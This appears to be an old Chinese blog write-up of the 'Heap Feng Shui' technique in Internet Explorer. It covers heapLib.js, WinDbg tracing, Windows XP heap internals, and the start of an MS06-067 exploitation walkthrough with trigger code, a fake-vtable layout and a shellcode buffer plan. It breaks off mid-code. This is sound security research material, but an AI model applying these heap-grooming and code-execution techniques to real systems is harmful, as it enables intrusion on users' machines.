偶然发现机器上还有这么个文章.....N年前写的了
BlackHat07上的堆风水一文,我记忆已不深刻近期重读一遍,其中的列子MS06-067(CVE-2006-4777)年代久远,费了点功夫才调试成功,记录在此.
先记录下堆风水一文中的关键要点:
1.xpsp2后因为堆结构及操作方式的变化(添加cookie/safe unlink)以及对UEF和VEH的保护,传统利用指针互写的技巧(mov [ecx],eax;mov [eax+4],ecx)
失效.但是OS层通常只能对堆结构和操作上进行防范,但在堆中的内存块上还是有文章可以作的.
2.精确控制堆中内存块内容并利用的前提(IE中)是:
MSHTML.DLL中对HTML元素的内存分配和回收是在进程默认堆中;
JSCRIPT.DLL中string对象是分配在默认堆中的;
ACTIVEX控件可能用到专用堆,但大多数使用进程默认堆.
总之:在JavaScript中的一些堆分配动作会直接影响到MSHTML和ActiveX控制器所使用的堆的状况,而一个ActiveX控制器中的堆腐烂bug也可以用来覆盖分配给HTML元素或者string对象的内存空间
3.JS的string对象的使用
string对象是用OLEAUT32.DLL中的SysAllocString来分配空间的
简单的声明一个新的变量并不会在堆中分配一块空间出来,因为这并不会创建string的一份拷贝,我们需要连接2个string或者使用substr()函数,如下例:
var str1 = "AAAAAAAAAAAAAAAAAAAA"; // doesn't allocate a new string
var str2 = str1.substr(0, 10); // allocates a new 10 character string
var str3 = str1 + str2; // allocates a new 30 character string
同时数据是以UNICODE形式存放的,并且string对象在内存中格式为
string size|data|null
4 x 2
string对象的回收方式:先删掉对该对象的引用,然后调用CollectGarbage,同时必须在同一个函数的作用域中完成释放string对象的动作.
4.处理oleaut32的缓存,堆风水一文的要点!
oleaut32的SysAllocString用于申请string对象,小于32768的空间有自身实现的一个缓存机制,
被释放的内存满足一定大小时会被释放到缓存中(在缓存中的内存块实际上并没有被释放掉,也就是
不会去执行任何内存块的合并操作),并且会在下一次应用程序申请内存时,优先分配出去.这造成我
们申请和释放的内存块中只有一部分会调用系统的堆内存分配或释放函数.
通过对其缓存机制的分析,发现其一共会缓存四个大小范围的内存,每个范围有6个项.
blocks from 1 to 32 bytes
blocks from 33 to 64 bytes
blocks from 65 to 256 bytes
blocks from 257 to 32768 bytes
关键的地方在于让我们的string对象不能被缓存也不使用缓存
在申请string前,我们如果不把缓存清空那么申请的空间可能就是直接从缓存中给你的.
而在释放string时,如果缓存没满就会进入缓存,这时就要用比我们空间大的值去将缓存占满,只要我们的空间最小
那么就会被挤出缓存然后调HeapFree释放掉.(如果想释放的空间刚好是32,64,256,32768则无法将其挤出缓存)
文章中在堆中占坑的例子(可能代码不全):
0释放? \flushCache();
1申请a(4*6) / 假设CACHE为空
2申请str alloc_str(0x200); 假设CACHE为空
3释放str free_str(); str的空间进CACHE
4释放a(4*6) \flushCache(); a(4*6)的空间进CACHE,将str挤出
5申请b(4*6) / CACHE被清空
上述五步达到了申请和释放string对象都用系统函数,但有一个前提就是CACHE为空的情况下!
而清空CACHE的步骤为:
1申请c(4*6) 可能会用到CACHE,也可能不用
2释放c(4*6) 把原CACHE中的较小的空间全部替换掉
3申请d(4*6) CACHE被清空
在实际环境CACHE显然不可能为空下面的两个例子演示了如何清空缓存,要注意的是清空缓存的步骤是在
heaplib.ie和heap.gc中完成的.
5.另两个完整的例子
<script type="text/javascript" src="heapLib.js"></script>
<script type="text/javascript">
var heap = new heapLib.ie();
//上面这一步初始化的时候调用了一次flusholeaut32,也就是说先调用了CollectGarbage,然后
//申请了4*6的空间
heap.gc();
//上面这一步先调CollectGarbage,然后释放上一步申请的4*6的空间,再次CollectGarbage,这时缓存就满了然后
//又申请了4*6的空间,这时缓存就清空了
heap.alloc(512);
//直接申请了512的空间,因为这时缓存清空了所以会直接在默认堆中申请
heap.alloc("AAAAA", "foo");
//同上
heap.free("foo");
//free是先让对象进缓存然后把他挤出去.
</script>
windbg调试下的断点:要注意的是默认堆有时是00140000有时是00150000,用poi(@$peb+18)来取就不用每次调整了,
HeapAlloc是中转DLL,要下NTDLL!RtlAllocateHeap的RET处(我的环境是32位XPSP2+IE7,R3附加方式调试)
bu 7c9306eb "j (poi(esp+4)==poi(@$peb+18)) '.printf \"alloc(0x%x) = 0x%x\", poi(esp+c), eax; .echo; g'; 'g';"
bu ntdll!RtlFreeHeap "j ((poi(esp+4)==poi(@$peb+18)) & (poi(esp+c)!=0)) '.printf \"free(0x%x), size=0x%x\", poi(esp+c), wo(poi(esp+c)-8)*8-8; .echo; g'; 'g';"
7c93043d
bu jscript!JsAtan2 "j (poi(poi(esp+14)+18) == babe) '.printf \"DEBUG: %mu\", poi(poi(poi(esp+14)+8)+8); .echo; g';"
bu jscript!JsAtan "j (poi(poi(esp+14)+8) == babe) '.echo DEBUG: Enabling heap breakpoints; be 0 1; g';"
bu jscript!JsAsin "j (poi(poi(esp+14)+8) == babe) '.echo DEBUG: Disabling heap breakpoints; bd 0 1; g';"
bu jscript!JsAcos "j (poi(poi(esp+14)+8) == babe) '.echo DEBUG: heapLib breakpoint'"
633da179
bd 0 1
g
第二个例子:
<script type="text/javascript" src="heapLib.js"></script>
<script type="text/javascript">
var heap = new heapLib.ie(); // Create a heapLib object for Internet Explorer
heap.gc(); // Run the garbage collector before doing any allocations
heap.debug("Hello!"); // output a debugging message
heap.debugHeap(true); // enable tracing of heap allocations
heap.alloc(416, "foo");
heap.debugBreak(); // break in WinDbg
heap.free("foo");
heap.debugHeap(false); // disable tracing of heap allocations
</script>
上面例子在我调试器中的输出:
DEBUG: Flushing the OLEAUT32 cache
DEBUG: Running the garbage collector
DEBUG: Flushing the OLEAUT32 cache
DEBUG: Hello!
DEBUG: Enabling heap breakpoints
alloc(0x1a0) = 0x3501558
DEBUG: heapLib breakpoint
eax=00000001 ebx=00988300 ecx=633a0ccd edx=00985190 esi=00988300 edi=0182f574
eip=633da179 esp=0182f550 ebp=0182f584 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
jscript!JsAcos:
633da179 8bff mov edi,edi
0:005> db 3501558-8
03501550 f2 29 3c e8 00 01 08 ff-9a 01 00 00 41 00 41 00 .)<.........A.A.
~~~~~~~~~~~~~~~~~~~~~~LFH
03501560 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03501570 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03501580 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03501590 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
035015a0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
035015b0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
035015c0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 问题:IE7中在查看释放的内存大小的时候,wo(poi(esp+c)-8)*8-8,这样的计算方法并不总能正确计算大小.
poi(esp+c)的值到是要释放的内存的句柄,经过分析原来在XP SP2下的IE7申请string对象使用了LFH.而老外是在
XPSP2+IE6下调试的.同时如果是在WIN7下调试由于对HEAP_ENTRY有编码所以也不能正确取到大小.
(详见http://advdbg.org/blogs/advdbg_system/articles/5152.aspx)
6.如何解码LFH的HEAP_ENTRY,正确查看Free的内存块的大小
6.1.
rtlfreeheap时先检查heap头结构
+0x586 FrontEndHeapType : 0x2
如果为02说明前端堆为LFH
然后又取HEAP头结构
+0x580 FrontEndHeap : 0x001abbd8 Void
的值存放ecx ,(即_LFH_HEAP)的地址
之前把要释放的内存地址放在ESI中
比较[esi-1]是否为0xff也就是HEAP_ENTRY结构中最后一个字节
如果是则调用
7c951c75 8bd6 mov edx,esi
7c951c77 e8b2040000 call ntdll!RtlpLowFragHeapFree (7c95212e)
6.2
7c95212e 8bff mov edi,edi
7c952130 55 push ebp
7c952131 8bec mov ebp,esp
7c952133 83ec24 sub esp,24h
7c952136 57 push edi
7c952137 8d7af8 lea edi,[edx-8] ;edx中存放CHUNK首地址,-8就是HEAP_ENTRY地址
7c95213a 807f07ff cmp byte ptr [edi+7],0FFh ;再次比较FLAG是否为FF
7c95213e 894dfc mov dword ptr [ebp-4],ecx ;ecx中存放_LFH_HEAP
7c952141 0f85e6d40100 jne RtlpLowFragHeapFree+0x15
7c952147 8b07 mov eax,dword ptr [edi] ;HEAP_ENTRY中头四字节
7c952149 53 push ebx
7c95214a 56 push esi
7c95214b 8bf7 mov esi,edi
7c95214d c1ee03 shr esi,3 ;HEAP_ENTRY的首地址/8
7c952150 337124 xor esi,[ecx+24h] ;与堆的基址XOR
7c952153 33f0 xor esi,eax ;与HEAP_ENTRY头四字节XOR
7c952155 333554c0997c xor esi,[ntdll!RtlpLFHKey] ;与一个全局变量XOR
其实是在计算_HEAP_SUBSEGMENT的地址
SubSegment = *(DWORD)header ^ (header / 8) ^ heap ^ RtlpLFHKey
[ecx+24]:ECX指向_LFH_HEAP,偏移24H中存放的是父堆的基址
HEAP_ENTRY头四字节是subsegment反算出来的
RtlpLFHKey是由_RtlRandomEx生成的随机COOKIE
而在_HEAP_SUBSEGMENT中
0:000> dt _HEAP_SUBSEGMENT
ntdll!_HEAP_SUBSEGMENT
+0x000 LocalInfo : Ptr32 _HEAP_LOCAL_SEGMENT_INFO 13
+0x004 UserBlocks : Ptr32 _HEAP_USERDATA_HEADER
+0x008 AggregateExchg : _INTERLOCK_SEQ
+0x010 BlockSize : Uint2B ;偏移10H记录了块的大小,CHUNK的大小要*8
+0x012 Flags : Uint2B
+0x014 BlockCount : Uint2B
+0x016 SizeIndex : UChar
+0x017 AffinityIndex : UChar
+0x010 Alignment : [2] Uint4B
+0x018 SFreeListEntry : _SINGLE_LIST_ENTRY
+0x01c Lock : Uint4B
结论就是如果使用LFH那么在HEAD_ENTRY中是没有存放大小的,所以在XPSP2+IE7下正确的计算代码为
wo((poi(poi(esp+c)-8)^((poi(esp+c)-8)/8)^poi(RtlpLFHKey)^poi(poi(poi(@$peb+18)+580)+24))+10)*8
所以断点就要改为
bu ntdll!RtlFreeHeap "j ((poi(esp+4)==poi(@$peb+18)) & (poi(esp+c)!=0)) '.printf \"free(0x%x), size=0x%x\", poi(esp+c),wo((poi(poi(esp+c)-8)^((poi(esp+c)-8)/8)^poi(RtlpLFHKey)^poi(poi(poi(@$peb+18)+580)+24))+10)*8; .echo; g'; 'g';"
这时调试输出就正确了
DEBUG: Flushing the OLEAUT32 cache
DEBUG: Running the garbage collector
DEBUG: Flushing the OLEAUT32 cache
DEBUG: Hello!
DEBUG: Enabling heap breakpoints
alloc(0x1a0) = 0x3501558
DEBUG: heapLib breakpoint
eax=00000001 ebx=00988490 ecx=633a0ccd edx=00985190 esi=00988490 edi=0182f574
eip=633da179 esp=0182f550 ebp=0182f584 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
jscript!JsAcos:
633da179 8bff mov edi,edi
0:005> g
DEBUG: Flushing the OLEAUT32 cache
free(0x3501558), size=0x1a8
DEBUG: Disabling heap breakpoints
因为内存对齐问题,实际的大小可能要多8个 7.如何在堆中占坑
占坑的基本原理是程序要使用一块大小为N的内存,我们用JS先申请大小为N的内存并在其中写入
特定的内容然后释放掉,随后程序申请大小为N的内存时就有可能是我们刚才释放掉的那个内存,而且
内容也是我们可控的.
要灵活运用占坑技巧不但对应用程序本身逻辑要有比较清楚的了解,同时要对系统的堆管理方式
有深刻的认识,系统在堆管理方面用到了不少缓存技术实际情况比较复杂.
7.1 系统堆的基本组成和运作原理
基本结构:堆头+堆段(HEAPSegMment和UCRSegMent)+缓存链表(LAL/LFH+FreeList/HeapCache等)+堆内存块(CHUNK)
堆头:也就是CreateHeap的返回值,其中记录了堆相关的关键参数比如64个指向堆段的指针,128个指向空表的指针,
以及空表位图等等,XP下堆头大小为0X640,0X588后还记录了UnusedUnCommittedRanges链表等.
0:001> !heap 查看一个进程所有的堆
Index Address Name Debugging options enabled
1: 000a0000 第一个为默认堆
2: 001a0000
3: 001b0000
......
0:001> dt _peb 7ffdd000 查看PEB中的默认堆地址
ntdll!_PEB 下面这些信息会COPY到堆头中
......
+0x018 ProcessHeap : 0x000a0000 默认堆的首地址
+0x068 NtGlobalFlag : 0x21100000 涉及到堆的调试选项,如果进程被调试这个成员通常值为0x70
+0x078 HeapSegmentReserve : 0x100000 申请一个堆段系统将预留的大小,进程可以任意地分配和释放这块预留区域中
的内存了。分配内存实际上是映射虚拟内存的行为。
+0x07c HeapSegmentCommit : 0x2000 创建一个新堆段分配的大小
+0x080 HeapDeCommitTotalFreeThreshold : 0x10000
+0x084 HeapDeCommitFreeBlockThreshold : 0x1000
+0x088 NumberOfHeaps : 8 现有的堆数
+0x08c MaximumNumberOfHeaps : 0x10 最大的堆数目
+0x090 ProcessHeaps : 0x7c99de80 指向"堆头指针数组"的首地
0:001> dt _heap 000a0000
ntdll!_HEAP
+0x000 Entry : _HEAP_ENTRY ;8字节的_HEAP_ENTRY指定了堆头的大小要*8
+0x008 Signature : 0xeeffeeff ;调试堆这个值不一样
+0x00c Flags : 2 ;当进程被调试,通常被设为0x50000062(取决于NtGlobalFlag)
+0x010 ForceFlags : 0 ;当进程被调试,通常被设为0x40000060(等于Flags AND 0x6001007D)
+0x014 VirtualMemoryThreshold : 0xfe00 ;最大可分配的空间508KB,超过这个数直接调ZwAllocVirtualMemory
+0x018 SegmentReserve : 0x100000
+0x01c SegmentCommit : 0x2000
+0x020 DeCommitFreeBlockThreshold : 0x200 ;释放的内存超过这个值可能被直接释放不进缓存
+0x024 DeCommitTotalFreeThreshold : 0x2000 ;空闲的内存总数(FreeList中的内存数)上限,这些是开启HeapCache的关键指标
+0x028 TotalFreeSize : 0xb31 ;总计空闲的内存
+0x02c MaximumAllocationSize : 0x7ffdefff ;最大可分配的空间
+0x030 ProcessHeapsListIndex : 1 ;在进程的堆数组中的位置
+0x032 HeaderValidateLength : 0x608 ;HEAP头大小,这个值不准
+0x034 HeaderValidateCopy : (null)
+0x038 NextAvailableTagIndex : 0
+0x03a MaximumTagIndex : 0
+0x03c TagEntries : (null)
+0x040 UCRSegments : (null) ;指向特殊的UCR堆段,详见下面UCR跟踪
+0x044 UnusedUnCommittedRanges : 0x000a0598 _HEAP_UNCOMMMTTED_RANGE;一个链表其中记录了未分配内存的范围
+0x048 AlignRound : 0xf
+0x04c AlignMask : 0xfffffff8 ;分配内存的最小粒度8字节
+0x050 VirtualAllocdBlocks : _LIST_ENTRY [ 0xa0050 - 0xa0050 ] ;大于508KB,直接分配的内存大块链表
+0x058 Segments : [64] 0x000a0640 _HEAP_SEGMENT ;堆段指针数组
+0x158 u : __unnamed ;空表位图16字节
+0x168 u2 : __unnamed
+0x16a AllocatorBackTraceIndex : 0
+0x16c NonDedicatedListLength : 3
+0x170 LargeBlocksIndex : (null)
+0x174 PseudoTagEntries : (null)
+0x178 FreeLists : [128] _LIST_ENTRY [ 0xb4350 - 0xb5180 ] ;128个空表头
+0x578 LockVariable : 0x000a0608 _HEAP_LOCK
+0x57c CommitRoutine : (null) ;
+0x580 FrontEndHeap : 0x000a0688 Void ;前端堆结构的地址
+0x584 FrontHeapLockCount : 0
+0x586 FrontEndHeapType : 0x1 '' ;1为前端堆为快表,2为LFH,0不使用前端堆
+0x587 LastSegmentIndex : 0 '' ;有多少个堆段,从0开始计
+0x588 HEAP_UNCOMMITED_RANGE UnCommittedRanges[8];
内存分配,堆段与UCR跟踪:
内核会为进程预留一部分内存,这部分内存被内核标识为不可用,分配内存其实是把预留的空间映射到虚拟地址上.
NtAllocateVirtualMemory和NtFreeVirtualMemory()函数中实现具体的内存提交,和释放工作.
核心堆层管理器把内存分割成好几段,每个段都是由系统管理的连续的虚拟
内存块。如果可能, 系统将会用已申请的内存去满足请求, 但如果没有足够的空间的话, 堆管理器将会尝试
提交堆段内现有的部分预留的内存,用以满足要求。这些预留的内存可能在段的底部也可能包含在段中间的空隙。
这些空隙是由之前的取消提交的内存操作所创造的(比如释放的内存大于4KB,同时总空闲内存大于64KB时)。
默认的, 系统会预留至少0x10000字节的内存,当创建一个新的堆段的时候,
会同时分配至少0x1000字节的内存.系统在必要的时候会创建新的堆段,并把它
添加到堆头的数组中(最多64个)。每次创建一个新的堆段, 它的预留大小就会增加一倍.
0:001> dt _heap_segment 000a0640 ;第一个堆段就在堆头后面.
ntdll!_HEAP_SEGMENT
+0x000 Entry : _HEAP_ENTRY
+0x008 Signature : 0xffeeffee
+0x00c Flags : 0
+0x010 Heap : 0x000a0000 _HEAP
+0x014 LargestUnCommittedRange : 0xe7000 ;最的在未分配块
+0x018 BaseAddress : 0x000a0000 Void ;包括了堆头
+0x01c NumberOfPages : 0x100 ;这个段的总大小
+0x020 FirstEntry : 0x000a0680 _HEAP_ENTRY ;指向CHUNK
+0x024 LastValidEntry : 0x001a0000 _HEAP_ENTRY ;尾部
+0x028 NumberOfUnCommittedPages : 0xe7
+0x02c NumberOfUnCommittedRanges : 1
+0x030 UnCommittedRanges : 0x000a0588 _HEAP_UNCOMMMTTED_RANGE
+0x034 AllocatorBackTraceIndex : 0
+0x036 Reserved : 0
+0x038 LastEntryInSegment : 0x000b5178 _HEAP_ENTRY
0:001> db 000a0588
000a0588 00 00 00 00 00 90 0b 00-00 70 0e 00 00 00 00 00 .........p......
0:001> dt _HEAP_UNCOMMMTTED_RANGE 000a0588
ntdll!_HEAP_UNCOMMMTTED_RANGE
+0x000 Next : (null)
+0x004 Address : 0xb9000
+0x008 Size : 0xe7000
+0x00c filler : 0
每个堆都分出一部分内存来记录未分配内存的范围.堆段用他们来跟踪他们
分配地址内的所有空洞.堆段用一种叫作UCR entry的很小的数据结构来完成跟踪.
在堆头中保留了一个公共列表用来存放空闲的UCR entry结构.所有的堆段都可以请求它们,
同时这个列表可以因为堆段的需要动态的变化.在堆头的UnusedUnCommittedRanges
指向了上述公共列表(这个列表较小时保存在堆头未尾大了就存在UCR段).UCRSegments指向特殊的UCR
段,这种段也用来保留UCR结构(默认UCRSegments为NULL,因为没有太多的UCR结构要保存)如果一个UCR
段不够,系统可以分配多个段,并由段有头的指针相连.
当一个堆段中有未分配内存出现后,就会用到上述公共列表中的一个UCR结构,
这时堆段结构中的UnCommittedRanges将指向这个UCR链,而这个UCR将从UnusedUnCommittedRanges
指向的列表中删掉.
0:038> dt _HEAP_UCR_SEGMENT 0bf10000 (特殊的UCR段)
ntdll!_HEAP_UCR_SEGMENT
+0x000 Next : (null) ;只有一个UCR段
+0x004 ReservedSize : 0x10000
+0x008 CommittedSize : 0x1000
+0x00c filler : 0
在堆头0x58-0x158,这256字节中,存了64个指向堆段的指针.堆头其实也在第0个堆段中.堆段表示的是系统分配的一
大片连续的内存.
缓存链表:为了实现缓存技术,堆中存放了多个相关链表.
LAL:lookaside,旁视表或者叫快表.
LFH:低碎片堆
以上两个技术其实是堆分配释放内存时的缓存,也叫前端堆.这两个技术不能在同一个堆中同时使用.
私有堆默认为标准堆,不支持旁视列表和LFH。
默认进程堆在xp下默认开启旁视列表前端分配器,在win7下默认开启低碎片前端分配器而在XP,03上
程序要调用专门的API让堆支持LFH.
(在DEBUG状态堆中均不会使用这两个前端堆技术)
LAL只能处理小于1KB的数据(64位为2KB),128个单向链表(头结构0X30),深度不定一般不超过4个.
LAL表的偏移在堆头的FrontEndHeap中定义(一般堆头+0X688),FrontEndHeapType=1为LAL,2为LFH
LAL表一般在HEAP头的后面的Segment0(堆头+0x640)的后面,长度128*30H,前两个结构为空(一般在第0段第2个CHUNK)
LFH能处理小于16KB的数据,数据分为7个区间(桶),第一区间有32项,其它6个每个16项.
FreeList(0):处理1KB-508KB的数据,双向链表会处理找零和合并.
FreeList(2-127):处理8-1024字节的数据请求,双向链表会处理找零和合并.
FreeList表存放在堆头+0x178-0x578处,这1024字节的空间,共128个双向链表.
空表位图存放在堆头+0x158处,16字节共128位,每一位对应一个空表项,如果有则置1.
VirtualList:存放大于虚拟分配极限508KB的请求
HeapCache:WIN2KSP2后开始启用的一种动态缓存技术
释放/分配算法的工作顺序:
LAL/LFH
判断大小是否超过DeCommitFreeBlockThreshold(4KB)同时总空闲长度超过DeCommitTotalFreeThreshold(64KB)如果是
直接调ZwFreeVirtualMemory
FreeList(2-127)
HeapCache(其实是类似FreeList(0)的一个额外索引)
FreeList(0)
内存紧缩再分配或者堆扩展
分配算法:
1.大于508KB,直接调ZwAllocVirtualMemory
2.快表的分配算法:
申请小于1KB,存在快表,且快表中对应的项不为空
3.空表的分配算法:
先在空闲链表中找大小完全相同的项,如果没有则
在空闲链表位图中找最适合的有缓存的项.然后再返回具体的地址
同时如果实际要的大小比找到的块的大小要小超过16字节,那么
会把多余的部分返回FreeList,这就是所谓的找零,最后更新空闲链表位图.
4.零号空表的分配:
申请大于1KB,小于508KB,且HeapCache不存在
5.堆缓存:
如果有HeapCache则先于零号空表分配,堆Cache中的存放的是指向FreeList[0]中的某一项的指针
如果FreeList[0]中没有与Cache的索引相对应的大小则指针指向NULL.
堆Cache 的内部机制
Cache表索引号= 块大小– 1K (0 就是1024, 1就是1032, 等等)
Cache中的最后一项Cache[895]指向FreeList[0] (顺序的空闲块链表)中第一个大于
8k的块,一共896项,前面是从1024开始
每8字节一个项一直到8KB.
Cache表也有Cache表位图
6.堆扩展等
从段保留内存中分配,尽可能的重用内存中未分配范围中的"洞"
或者创建新段
释放算法:
如果 buffer 已经释放,地址未连接, 或者段索引号大于"最大段号"(0x40)则返回错误;
如果buffer不是虚拟分配块 {
尝试释放到Lookaside
连接 buffer 并且放置到空闲链表或者cache中
}
如果buffer是虚拟分配块{
将buffer从忙碌虚拟分配 buffers中移出
将buffer释放还给操作系统
}
1.释放到快表中,条件为
存在快表,内存小于1KB同时快表没满
2.释放到空表中
这儿有空表的合并操作,释放的内存块如果前后的块也是空闲的那么会把它们合并.
如果块的标志位有非合并,那么不会进行这个操作.同时块是第一个不会向后合并和最后一个不会向前合并.
因为合并后大小会变大,如果合并后总的小于1KB,则放入空表中相关的项.
如果大于1KB小于508K放入零号空表或Cache.
如果合并后大于508K,则拆分为小块然后放入Cache或零号空表.
如果块的长度大于释放极限DeCommitFreeBlockThreshold(4KB,一个页)同时总空闲空间(TotalFreeSize)大于DeCommitTotalFreeThreshold(64KB)
则直接调ZwFreeVirtualMemory(注意这时并不是把所有的内存都撤消掉,只撤消连续的页面,多余的要再次放到
空表中并被合并),如果这种情况累积发生256次则生成HeapCache.
补充关于堆缓存:
当堆管理器发现Freelist[0]中有很多个块的时候,堆缓存才会被激活.具体指标:
1. 在FreeList[0]中至少同时存在32个块。
这是关于FreeList[0]中碎片的统计。每次堆管理器增加一个空闲
块到FreeList[0]的双向链表, 它将会调用RtlpUpdateIndexInsertBlock()这个函数。
同样, 在删除一个空闲块的时候, 它会调用RtlpUpdateIndexRemoveBlock()这个函数。
在堆缓存被调用之前, 这两个函数都维持一个计数,这个计数是堆管理器用
来统计FreeList[0]中空闲的块的数目,在系统观察到当有32个条目存在的时候,
它便会通过调用RtlpInitializeListIndex()来激活堆缓存。
for (i=0;i<32;i++)
{
b1=HeapAlloc(pHeap, 0, 2048+i*8);
b2=HeapAlloc(pHeap, 0, 2048+i*8);
HeapFree(pHeap,0,b1);
}
上面代码可以强制打开堆缓存.
申请的内存为2048+X,大于1KB所以会进零号空表,然后因为
是交差释放,所以不会发生块的合并而且越来越大也不找零,所以就会在FreeList[0]中快速产生32个空
闲块,这样就会打开堆缓存.
2.共有256个块必须已经被释放.
系统从进程的生命周期开始释放共记256块/次,这将会激活堆缓存。
当堆缓存被激活后, 它将会改变系统撤销提交的策略。这些改变的实质是执
行很少的撤销却可以保存更大的空闲块放在空表中. 7.2 XPSP3+IE6(6.0.2900.5512)下MS06067漏洞的利用
环境搭建:
找了台XPSP3+IE6,查看06067的公告发现XPSP3下无洞,通过去掉注册表中的KILLBIT和重新注册控件触发成功.
漏洞相关组件:
danim.dll(6.3.1.148)
daxctle.ocx(6.3.1.148),注意ms的公告中有时把这个控件的名字写成了daxctrle.ocx.
lmrt.dll(6.3.1.148)
mmutilse.dll(6.3.1.148)
很奇怪这个版本的dxanimation控件是2008年的,仍然有漏洞,估计MS的公告只是KillBit方式打补丁.
利用之前,堆风水一文中科普的一些通用的堆操作技巧:
1.在FreeList中留下指定大小的缓存.
假设前端堆没开启的情况下,或者大于1KB小于508KB的内存释放后都有可能标记为FREE后链入FreeList表,如果大于4KB有可能会触发HeapCache机制或者直接被取消提交(deCommit).具体参见前
面的堆分配释放机制的说明.
我们现在只考虑一块大小为X的内存被链入空表后可能会产生的情况,首先会遇到的是,相邻内存
块的合并.防止产生合并的方法:
heap.alloc(0x2020); //连续分配三个块
heap.alloc(0x2020, "freeList");
heap.alloc(0x2020);
heap.free("freeList"); //释放掉中间的那个块,这样就不会产生合并了.
2.处理堆中的碎片
上面的代码在分配内存时,如果堆缓存中已经有一个相同的或更大的空闲块了.那么分配的时候
就产生不了三个连续的内存块.解决办法是申请大量的相同大小的内存块去用掉那些已有的缓存.
因为在FreeList中有找零的发生,所以最好多申请点内存个人认为最好单次申请的大小大一些.
for (var i = 0; i < 1000; i++)
heap.alloc(0x2010);
上面是用掉FreeList[0]中缓存的代码,前提是所有大于2010h的项的总空闲空间是小于2010h*1000的.
3.清空快表.由于快表没有合并和找零所以很简单.
for (var i = 0; i < 100; i++)
heap.alloc(0x100);
上面这样,大小为256字节的,快表项就被清空了.
4.让快表中某项指向我们放置的数据
因为快表在默认堆中的位置(heapbase+0x688)是不变的,所以指向已知大小已释放CHUNK的指针在默认堆中的地址也是可以确定的.
又由于小于1KB的内存块的申请释放是快表优先的.所以可以很轻松的让快表的某项指向我们刚释放的数据.
// Empty the lookaside
for (var i = 0; i < 100; i++)
heap.alloc(0x100);
// Allocate a block
heap.alloc(0x100, "foo");
// Free it to the lookaside
heap.free("foo");
注意由于现在快表中只有一项,所以被释放的内存CHUNK的开头四字节是NULL(没有下一个块)
与大小1008字节相对应的快表项的地址为00151e58.计算方法:
假设堆基址为00150000,快表在基址+0x688,每项30H大小.
00150688+30h*((1008+8)/8)=00151e58.
快表的大小在00150680处的_HEAP_ENTRY结构定义,大小为301h
301h*8=1808h
1808h/30h=80h=128项
0项对应块大小为8 实际大小0,意思就是说快表的0项没有用.
1项............16 实际大小8
127项----------1024 实际大小1016字节可用.
5.漏洞利用的基本原理(定位shellcode)
假设我们可以把一个对象的指针改为0x00151e58,也就是在引用这个对象的某个方法时
mov ecx,[eax] ;我们可以控制EAX的值
push eax
call [ecx+8]
如果EAX为00151e58,那么因为我们刚申请和释放了一个1008字节的内存块,所以00151e58中的值就是
我们刚释放的这个CHUNK的地址.
现在我们只用考虑CHUNK中如何放置正确的内容了.
object pointer --> lookaside --> freed block
(fake object) (fake vtable)
addr: xxxx addr: 0x151e58 addr: yyyy
data: 0x151e58 data: yyyy data: +0 NULL(链入快表的块头4字节改成了0)
(对象指针被改了) (yyyy是刚释放的块的数据区地址) +4 jmp shellcode
+8 point jmp ecx
那么mov ecx,[eax]
ecx就是chunk的地址yyyy,
call [ecx+8]就是call [yyyy+8],如果我们设置yyyy+8中的值是一个jmp ecx指令所在的地址.
比如0x004058b5(ie6 6.0.2900.5512代码节中的一个jmp ecx),东亚版可用代码页中的跳转.
那就就等于call 004058b5,最终执行的就是jmp ecx,而ECX指向的刚好就是块的数据区地址
(不是指向的这个块的HEAP_ENTRY).在这个内存块中如何比较合理的填入SHELLCODE哩:
string length jmp +124 addr of jmp ecx sub [eax], al*2 shellcode null terminator
00000000 (9090EB7C) 124 bytes 28002800 x bytes 2 bytes
(SUB [EAX],AL)
也就是说真实的SHELLOCDE有约900字节可用.为什么要加开头加上那么多addr of JMP ECX,因为实际的
漏洞中被调用的虚函数可能是+8h,也可能+80h.我们考虑第3到第32个.
分析MS06067:
漏洞简单触发代码:
var target = new ActiveXObject("DirectAnimation.PathControl");
target.KeyFrame(0x7fffffff, new Array(1), new Array(1));
KeyFrame的第一个参数设为较大的值,会产生整数溢出.
DirectAnimation.PathControl这个对象由daxctle.ocx实现.IDA加载符号可以直接定位这个
函数.出错函数C代码如下:
long __stdcall CPathCtl::KeyFrame(unsigned int npoints,
struct tagVARIANT KeyFrameArray,
struct tagVARIANT TimeFrameArray)
{
int err = 0;
...
//开头要判断npoints要大于2
// The new operator is a wrapper around CMemManager::AllocBuffer. If the
// size size is less than 0x2000, it allocates a block from a special
// CMemManager heap, otherwise it is equivalent to:
// HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size+8)
buf_1 = new((npoints*2) * 8);
buf_2 = new((npoints-1) * 8);
KeyFrameArray.field_C = new(npoints*4);
TimeFrameArray.field_C = new(npoints*4);
//作者首先对函数分配进行了分析得出漏洞要和JS堆风水技巧相结合必须要让申请的空间
//大于2000H,这样才能在默认堆中分配,详细原因在下面
if (buf_1 == NULL || buf_2 == NULL || KeyFrameArray.field_C == NULL ||
TimeFrameArray.field_C == NULL)
{
err = E_OUTOFMEMORY;
goto cleanup;
}
// We set an error and go to the cleanup code if the KeyFrameArray array
// is smaller than npoints*2 or TimeFrameArray is smaller than npoints-1
if ( KeyFrameArrayAccessor.ToDoubleArray(npoints*2, buf_1) < 0 ||
TimeFrameArrayAccessor.ToDoubleArray(npoints-1, buf_2) < 0)
{
err = E_FAIL;
goto cleanup;
}
...
cleanup:
if (npoints > 0)
// We iterate from 0 to npoints and call a virtual function on all
// non-NULL elements of KeyFrameArray->field_C and TimeFrameArray->field_C
for (i = 0; i < npoints; i++) {
if (KeyFrameArray.field_C[i] != NULL)
KeyFrameArray.field_C[i]->func_8();
if (TimeFrameArray.field_C[i] != NULL)
